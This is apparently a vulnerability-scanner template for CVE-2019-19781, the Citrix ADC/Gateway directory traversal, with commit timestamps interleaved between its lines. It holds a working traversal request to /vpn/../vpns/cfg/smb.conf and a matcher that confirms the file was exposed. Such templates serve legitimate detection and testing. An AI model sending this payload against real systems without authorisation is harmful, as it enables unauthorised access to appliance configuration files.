2021-01-02 04:59:06 +00:00
id : CVE-2019-19781
2020-04-05 22:27:04 +00:00
info :
name : Citrix ADC Directory Traversal
author : organiccrap
2021-09-10 11:26:40 +00:00
severity : critical
2021-03-26 06:47:35 +00:00
description : An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
reference : https://support.citrix.com/article/CTX267027
2021-03-18 07:54:36 +00:00
tags : cve,cve2019,citrix,lfi
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.80
cve-id : CVE-2019-19781
cwe-id : CWE-22
2020-04-05 22:27:04 +00:00
requests :
- method : GET
2020-05-25 07:49:06 +00:00
path :
2020-04-05 22:27:04 +00:00
- "{{BaseURL}}/vpn/../vpns/cfg/smb.conf"
matchers :
- type : word
2020-05-25 07:49:06 +00:00
words :
2020-04-08 16:40:31 +00:00
- "[global]"
